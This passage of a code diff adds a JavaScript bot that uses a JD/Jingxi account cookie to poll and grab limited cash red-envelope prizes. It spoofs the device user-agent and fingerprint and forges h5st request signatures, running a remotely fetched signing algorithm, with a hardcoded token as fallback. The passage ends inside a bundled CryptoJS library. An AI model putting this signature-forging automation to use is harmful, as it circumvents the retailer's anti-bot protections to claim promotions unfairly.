`jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await runEnv(0); + await $.wait(3000) + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }).finally(() => { + $.done(); + }) + +async function runEnv(retryNum) { + try { + $.exchangeData = [] + + let exchangeItem = [] + + await ExchangeState() + if ($.exchangeData.hongbao) { + for (let i = 0; i < $.exchangeData.hongbao.length; i++) { + let data = $.exchangeData.hongbao[i] + if ($.env_prize === data.strPrizeName) { + if (data.dwState === 2) { + console.log('已兑换跳出') + return + } + if (data.dwState === 0) { + console.log('余量', new Date().getSeconds() + '秒', data.dwStockNum) + exchangeItem.push([data.dwLvl, data.ddwPaperMoney, data.strPrizeName, data.dwStockNum]) + } + } + } + } + if (exchangeItem.length === 0) { + console.log('全被抢光了', retryNum) + if (retryNum < 5) { + await $.wait(300) + runEnv(retryNum + 1) + } + } else { + console.log('开始抢', exchangeItem.length, exchangeItem) + for (let i = 0; i < exchangeItem.length; i++) { + await qiang($.UserName, exchangeItem[i][0], exchangeItem[i][1]) + if (i !== exchangeItem.length - 1) { + await $.wait(3000) + } + } + } + } catch (e) { + console.log(e); + } +} + +async function readExchangeItem() { + try { + $.exchangeData = [] + let exchangeItem = [] + + // dwState + // 0可兑 + // 1无货 + // 2已兑 + + // let strPrizeNames = ['11元', '1元', '111元', '100元',] + let strPrizeNames = ['1元', '0.5元', '0.1元'] + await ExchangeState() + if ($.exchangeData.hongbao) { + for (let i = 0; i < $.exchangeData.hongbao.length; i++) { + let data = $.exchangeData.hongbao[i] + if (strPrizeNames.indexOf(data.strPrizeName) !== -1) { + if (data.dwState === 2) { + console.log('已兑换' + data.strPrizeName) + } else { + console.log('待兑换' + data.strPrizeName) + exchangeItem.push([data.dwLvl, data.ddwPaperMoney, data.strPrizeName, data.dwStockNum]) + } + } + } + } + + $.exchangeItems.push(exchangeItem) + } catch (e) { + console.log(e); + } +} + +async function run1yuan(name) { + try { + let exchangeItem = $.exchangeItems[$.index - 1] + if (exchangeItem.length === 0) { + console.log(`${name} 已全部兑换跳出`) + } else { + console.log('开始抢', exchangeItem.length, exchangeItem) + // exchangeItem = exchangeItem.reverse() + for (let i = 0; i < exchangeItem.length; i++) { + await qiang(name, exchangeItem[i][0], exchangeItem[i][1]) + await $.wait(5000) + } + } + } catch (e) { + console.log(e); + } +} + +// 签到 邀请奖励 +async function qiang(name, lvl, money) { + try { + let url = `https://m.jingxi.com/jxbfd/user/ExchangePrize?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=3&ptag=7155.9.47&dwType=3&dwLvl=${lvl}&ddwPaperMoney=${money}&strPoolName=jxcfd2_exchange_hb_202112&strPgtimestamp=&strPhoneID=&strPgUUNum=&_stk=_cfd_t%2CbizCode%2CddwPaperMoney%2CdwEnv%2CdwLvl%2CdwType%2Cptag%2Csource%2CstrPgUUNum%2CstrPgtimestamp%2CstrPhoneID%2CstrPoolName%2CstrZone&_ste=1&sceneval=2&g_login_type=1&g_ty=ls` + $.qiangResult = await taskGet(url) + if ($.qiangResult.iRet === 0) { + console.log(`${name} 抢到了:` + $.qiangResult.strAwardDetail.strName) + } else { + console.log(`${name} 没抢到 ${money} ` + $.qiangResult.sErrMsg+ new Date().toLocaleString()) + console.log() + } + } catch (e) { + $.logErr(e); + } +} + +async function ExchangeState() { + try { + let url = `https://m.jingxi.com/jxbfd/user/ExchangeState?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=4&ptag=7155.9.47&dwType=2&_stk=_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone&_ste=1&sceneval=2&g_login_type=1&g_ty=ls` + $.exchangeData = await taskGet(url) + // console.log('$.exchangeData ', $.exchangeData) + } catch (e) { + $.logErr(e); + } +} + +function taskGet(type, stk, additional) { + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function getGetRequest(url, stk = '', additional = '') { + url += `&_cfd_t=${Date.now()}&_=${Date.now()}` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + + } + } +} + + +async function requestAlgo() { + $.fp = (getRandomIDPro({size: 13}) + Date.now()).slice(0, 16); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': UA, + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fp, + "appId": $.appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + const {ret, msg, data: {result} = {}} = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') + if (stk) { + const timestamp = format("yyyyMMddhhmmssSSS", time); + const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') + } +} + +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} + +function getUrlQueryParams(url_string, param) { + let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); + let r = url_string.split('?')[1].substr(0).match(reg); + if (r != null) { + return decodeURIComponent(r[2]); + } + ; + return ''; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function CryptoScripts() { + // prettier-ignore + !function (t, e) { + "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() + }(this, function () { + var t, e, r, i, n, o, s, c, a, h, l, f, d, u, p, _, v, y, g, B, w, k, S, m, x, b, H, z, A, C, D, E, R, M, F, P, + W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, + ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, mt = mt || function (t) { + var e; + if ("undefined" != typeof window && window.crypto && (e = window.crypto), !e && "undefined" != typeof window && window.msCrypto && (e = window.msCrypto), !e && "undefined" != typeof global && global.crypto && (e = global.crypto), !e && "function" == typeof require) try { + e = require("crypto") + } catch (e) { + } + + function r() { + if (e) { + if ("function" == typeof e.getRandomValues) try { + return e.getRandomValues(new Uint32Array(1))[0] + } catch (t) { + } + if ("function" == typeof e.randomBytes) try { + return e.randomBytes(4).readInt32LE() + } catch (t) { + } + } + throw new Error("Native crypto module could not be used to get secure random number.") + } + + var i = Object.create || function (t) { + var e; + return n.prototype = t, e = new n, n.prototype = null, e + }; + + function n() { + } + + var o = {}, s = o.lib = {}, c = s.Base = { + extend: function (t) { + var e = i(this); + return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { + e.$super.init.apply(this, arguments) + }), (e.init.prototype = e).$super = this, e + }, create: function () { + var t = this.extend(); + return t.init.apply(t, arguments), t + }, init: function () { + }, mixIn: function (t) { + for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); + t.hasOwnProperty("toString") && (this.toString = t.toString) + }, clone: function () { + return this.init.prototype.extend(this) + } + }, a = s.WordArray = c.extend({ + init: function (t, e) { + t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length + }, toString: function (t) { + return (t || l).stringify(this) + }, concat: function (t) { + var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; + if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { + var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; + e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 + } else for (o = 0; o < n; o += 4) e[i + o >>> 2] = r[o >>> 2]; + return this.sigBytes += n, this + }, clamp: function () { + var e = this.words, r = this.sigBytes; + e[r >>> 2] &= 4294967295 << 32 - r % 4 * 8, e.length = t.ceil(r / 4) + }, clone: function () { + var t = c.clone.call(this); + return t.words = this.words.slice(0), t + }, random: function (t) { + for (var e = [], i = 0; i < t; i += 4) e.push(r()); + return new a.init(e, t) + } + }), h = o.enc = {}, l = h.Hex = { + stringify: function (t) { + for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { + var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; + i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) + } + return i.join("") + }, parse: function (t) { + for (var e = t.length, r = [], i = 0; i < e; i += 2) r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; + return new a.init(r, e / 2) + } + }, f = h.Latin1 = { + stringify: function (t) { + for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { + var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; + i.push(String.fromCharCode(o)) + } + return i.join("") + }, parse: function (t) { + for (var e = t.length, r = [], i = 0; i < e; i++) r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; + return new a.init(r, e) + } + }, d = h.Utf8 = { + stringify: function (t) { + try { + return decodeURIComponent(escape(f.stringify(t))) + } catch (t) { + throw new Error("Malformed UTF-8 data") + } + }, parse: function (t) { + return f.parse(unescape(encodeURIComponent(t))) + } + }, u = s.BufferedBlockAlgorithm = c.extend({ + reset: function () { + this._data = new a.init, this._nDataBytes = 0 + }, _append: function (t) { + "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes + }, _process: function (e) { + var r, i = this._data, n = i.words, o = i.sigBytes, s = this.blockSize, c = o / (4 * s), + h = (c = e ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0)) * s, l = t.min(4 * h, o); + if (h) { + for (var f = 0; f < h; f += s) this._doProcessBlock(n, f); + r = n.splice(0, h), i.sigBytes -= l + } + return new a.init(r, l) + }, clone: function () { + var t = c.clone.call(this); + return t._data = this._data.clone(), t + }, _minBufferSize: 0 + }), p = (s.Hasher = u.extend({ + cfg: c.extend(), init: function (t) { + this.cfg = this.cfg.extend(t), this.reset() + }, reset: function () { + u.reset.call(this), this._doReset() + }, update: function (t) { + return this._append(t), this._process(), this + }, finalize: function (t) { + return t && this._append(t), this._doFinalize() + }, blockSize: 16, _createHelper: function (t) { + return function (e, r) { + return new t.init(r).finalize(e) + } + }, _createHmacHelper: function (t) { + return function (e, r) { + return new p.HMAC.init(t, r).finalize(e) + } + } + }), o.algo = {}); + return o + }(Math); + + function xt(t, e, r) { + return t ^ e ^ r + } + + function bt(t, e, r) { + return t & e | ~t & r + } + + function Ht(t, e, r) { + return (t | ~e) ^ r + } + + function zt(t, e, r) { + return t & r | e & ~r + } + + function At(t, e, r) { + return t ^ (e | ~r) + } + + function Ct(t, e) { + return t << e | t >>> 32 - e + } + + function Dt(t, e, r, i) { + var n, o = this._iv; + o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); + for (var s = 0; s < r; s++) t[e + s] ^= n[s] + } + + function Et(t) { + if (255 == (t >> 24 & 255)) { + var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; + 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i + } else t += 1 << 24; + return t + } + + function Rt() { + for (var t = this._X, e = this._C, r = 0; r < 8; r++) ft[r] = e[r]; + for (e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) { + var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, + c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); + dt[r] = s ^ c + } + t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 + } + + function Mt() { + for (var t = this._X, e = this._C, r = 0; r < 8; r++) wt[r] = e[r]; + for (e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) { + var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, + c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); + kt[r] = s ^ c + } + t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 + } + + return t = mt.lib.WordArray, mt.enc.Base64 = { + stringify: function (t) { + var e = t.words, r = t.sigBytes, i = this._map; + t.clamp(); + for (var n = [], o = 0; o < r; o += 3) for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++) n.push(i.charAt(s >>> 6 * (3 - c) & 63)); + var a = i.charAt(64); + if (a) for (; n.length % 4;) n.push(a); + return n.join("") + }, parse: function (e) { + var r = e.length, i = this._map, n = this._reverseMap; + if (!n) { + n = this._reverseMap = []; + for (var o = 0; o < i.length; o++) n[i.charCodeAt(o)] = o + } + var s = i.charAt(64); + if (s) { + var c = e.indexOf(s); + -1 !== c && (r = c) + } + return function (e, r, i) { + for (var n = [], o = 0, s = 0; s < r; s++) if (s % 4) { + var c = i[e.charCodeAt(s - 1)] << s % 4 * 2 | i[e.charCodeAt(s)] >>> 6 - s % 4 * 2; + n[o >>> 2] |= c << 24 - o % 4 * 8, o++ + } + return t.create(n, o) + }(e, r, n) + }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" + }, function (t) { + var e = mt, r = e.lib, i = r.WordArray, n = r.Hasher, o = e.algo, s = []; + !function () { + for (var e = 0; e < 64; e++) s[e] = 4294967296 * t.abs(t.sin(e + 1)) | 0 + }(); + var c = o.MD5 = n.extend({ + _doReset: function () { + this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878]) + }, _doProcessBlock: function (t, e) { + for (var r = 0; r < 16; r++) { + var i = e + r, n = t[i]; + t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) + } + var o = this._hash.words, c = t[e + 0], d = t[e + 1], u = t[e + 2], p = t[e + 3], _ = t[e + 4], + v = t[e + 5], y = t[e + 6], g = t[e + 7], B = t[e + 8], w = t[e + 9], k = t[e + 10], + S = t[e + 11], m = t[e + 12], x = t[e + 13], b = t[e + 14], H = t[e + 15], z = o[0], A = o[1], + C = o[2], D = o[3]; + z = f(z = l(z = l(z = l(z = l(z = h(z = h(z = h(z = h(z = a(z = a(z = a(z = a(z, A, C, D, c, 7, s[0]), A = a(A, C = a(C, D = a(D, z, A, C, d, 12, s[1]), z, A, u, 17, s[2]), D, z, p, 22, s[3]), C, D, _, 7, s[4]), A = a(A, C = a(C, D = a(D, z, A, C, v, 12, s[5]), z, A, y, 17, s[6]), D, z, g, 22, s[7]), C, D, B, 7, s[8]), A = a(A, C = a(C, D = a(D, z, A, C, w, 12, s[9]), z, A, k, 17, s[10]), D, z, S, 22, s[11]), C, D, m, 7, s[12]), A = a(A, C = a(C, D = a(D, z, A, C, x, 12, s[13]), z, A, b, 17, s[14]), D, z, H, 22, s[15]), C, D, d, 5, s[16]), A = h(A, C = h(C, D = h(D, z, A, C, y, 9, s[17]), z, A, S, 14, s[18]), D, z, c, 20, s[19]), C, D, v, 5, s[20]), A = h(A, C = h(C, D = h(D, z, A, C, k, 9, s[21]), z, A, H, 14, s[22]), D, z, _, 20, s[23]), C, D, w, 5, s[24]), A = h(A, C = h(C, D = h(D, z, A, C, b, 9, s[25]), z, A, p, 14, s[26]), D, z, B, 20, s[27]), C, D, x, 5, s[28]), A = h(A, C = h(C, D = h(D, z, A, C, u, 9, s[29]), z, A, g, 14, s[30]), D, z, m, 20, s[31]), C, D, v, 4, s[32]), A = l(A, C = l(C, D = l(D, z, A, C, B, 11, s[33]), z, A, S, 16, s[34]), D, z, b, 23, s[35]), C, D, d, 4, s[36]), A = l(A, C = l(C, D = l(D, z, A, C, _, 11, s[37]), z, A, g, 16, s[38]), D, z, k, 23, s[39]), C, D, x, 4, s[40]), A = l(A, C = l(C, D = l(D, z, A, C, c, 11, s[41]), z, A, p, 16, s[42]), D, z, y, 23, s[43]), C, D, w, 4, s[44]), A = l(A, C = l(C, D = l(D, z, A, C, m, 11, s[45]), z, A, H, 16, s[46]), D, z, u, 23, s[47]), C, D, c, 6, s[48]), A = f(A = f(A = f(A = f(A, C = f(C, D = f(D, z, A, C, g, 10, s[49]), z, A, b, 15, s[50]), D, z, v, 21, s[51]), C = f(C, D = f(D, z = f(z, A, C, D, m, 6, s[52]), A, C, p, 10, s[53]), z, A, k, 15, s[54]), D, z, d, 21, s[55]), C = f(C, D = f(D, z = f(z, A, C, D, B, 6, s[56]), A, C, H, 10, s[57]), z, A, y, 15, s[58]), D, z, x, 21, s[59]), C = f(C, D = f(D, z = f(z, A, C, D, _, 6, s[60]), A, C, S, 10, s[61]), z, A, u, 15, s[62]), D, z, w, 21, s[63]), o[0] = o[0] + z | 0, o[1] = o[1] + A | 0, o[2] = o[2] + C | 0, o[3] = o[3] + D | 0 + }, _doFinalize: function () { + var e = this._data, r = e.words, i = 8 * this._nDataBytes, n = 8 * e.sigBytes; + r[n >>> 5] |= 128 << 24 - n % 32; + var o = t.floor(i / 4294967296), s = i; + r[15 + (64 + n >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), r[14 + (64 + n >>> 9 << 4)] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), e.sigBytes = 4 * (r.length + 1), this._process(); + for (var c = this._hash, a = c.words, h = 0; h < 4; h++) { + var l = a[h]; + a[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) + } + return c + }, clone: function () { + var t = n.clone.call(this); + return t._hash = this._hash.clone(), t + } + }); + + function a(t, e, r, i, n, o, s) { + var c = t + (e & r | ~e & i) + n + s; + return (c << o | c >>> 32 - o) + e + } + + function h(t, e, r, i, n, o, s) { + var c = t + (e & i | r & ~i) + n + s; + return (c << o | c >>> 32 - o) + e + } + + function l(t, e, r, i, n, o, s) { + var c = t + (e ^ r ^ i) + n + s; + return (c << o | c >>> 32 - o) + e + } + + function f(t, e, r, i, n, o, s) { + var c = t + (r ^ (e | ~i)) + n + s; + return (c << o | c >>> 32 - o) + e + } + + e.MD5 = n._createHelper(c), e.HmacMD5 = n._createHmacHelper(c) + }(Math), r = (e = mt).lib, i = r.WordArray, n = r.Hasher, o = e.algo, s = [], c = o.SHA1 = n.extend({ + _doReset: function () { + this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (t, e) { + for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], c = r[3], a = r[4], h = 0; h < 80; h++) { + if (h < 16) s[h] = 0 | t[e + h]; else { + var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; + s[h] = l << 1 | l >>> 31 + } + var f = (i << 5 | i >>> 27) + a + s[h]; + f += h < 20 ? 1518500249 + (n & o | ~n & c) : h < 40 ? 1859775393 + (n ^ o ^ c) : h < 60 ? (n & o | n & c | o & c) - 1894007588 : (n ^ o ^ c) - 899497514, a = c, c = o, o = n << 30 | n >>> 2, n = i, i = f + } + r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + c | 0, r[4] = r[4] + a | 0 + }, _doFinalize: function () { + var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; + return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash + }, clone: function () { + var t = n.clone.call(this); + return t._hash = this._hash.clone(), t + } + }), e.SHA1 = n._createHelper(c), e.HmacSHA1 = n._createHmacHelper(c), function (t) { + var e = mt, r = e.lib, i = r.WordArray, n = r.Hasher, o = e.algo, s = [], c = []; + !function () { + function e(e) { + for (var r = t.sqrt(e), i = 2; i <= r; i++) if (!(e % i)) return; + return 1 + } + + function r(t) { + return 4294967296 * (t - (0 | t)) | 0 + } + + for (var i = 2, n = 0; n < 64;) e(i) && (n < 8 && (s[n] = r(t.pow(i, .5))), c[n] = r(t.pow(i, 1 / 3)), n++), i++ + }(); + var a = [], h = o.SHA256 = n.extend({ + _doReset: function () { + this._hash = new i.init(s.slice(0)) + }, _doProcessBlock: function (t, e) { + for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], h = r[4], l = r[5], f = r[6], d = r[7], u = 0; u < 64; u++) { + if (u < 16) a[u] = 0 | t[e + u]; else { + var p = a[u - 15], _ = (p << 25 | p >>> 7) ^ (p << 14 | p >>> 18) ^ p >>> 3, v = a[u - 2], + y = (v << 15 | v >>> 17) ^ (v << 13 | v >>> 19) ^ v >>> 10; + a[u] = _ + a[u - 7] + y + a[u - 16] + } + var g = i & n ^ i & o ^ n & o, + B = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), + w = d + ((h << 26 | h >>> 6) ^ (h << 21 | h >>> 11) ^ (h << 7 | h >>> 25)) + (h & l ^ ~h & f) + c[u] + a[u]; + d = f, f = l, l = h, h = s + w | 0, s = o, o = n, n = i, i = w + (B + g) | 0 + } + r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + h | 0, r[5] = r[5] + l | 0, r[6] = r[6] + f | 0, r[7] = r[7] + d | 0 + }, _doFinalize: function () { + var e = this._data, r = e.words, i = 8 * this._nDataBytes, n = 8 * e.sigBytes; + return r[n >>> 5] |= 128 << 24 - n % 32, r[14 + (64 + n >>> 9 << 4)] = t.floor(i / 4294967296), r[15 + (64 + n >>> 9 << 4)] = i, e.sigBytes = 4 * r.length, this._process(), this._hash + }, clone: function () { + var t = n.clone.call(this); + return t._hash = this._hash.clone(), t + } + }); + e.SHA256 = n._createHelper(h), e.HmacSHA256 = n._createHmacHelper(h) + }(Math), function () { + var t = mt.lib.WordArray, e = mt.enc; + + function r(t) { + return t << 8 & 4278255360 | t >>> 8 & 16711935 + } + + e.Utf16 = e.Utf16BE = { + stringify: function (t) { + for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { + var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; + i.push(String.fromCharCode(o)) + } + return i.join("") + }, parse: function (e) { + for (var r = e.length, i = [], n = 0; n < r; n++) i[n >>> 1] |= e.charCodeAt(n) << 16 - n % 2 * 16; + return t.create(i, 2 * r) + } + }, e.Utf16LE = { + stringify: function (t) { + for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { + var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); + n.push(String.fromCharCode(s)) + } + return n.join("") + }, parse: function (e) { + for (var i = e.length, n = 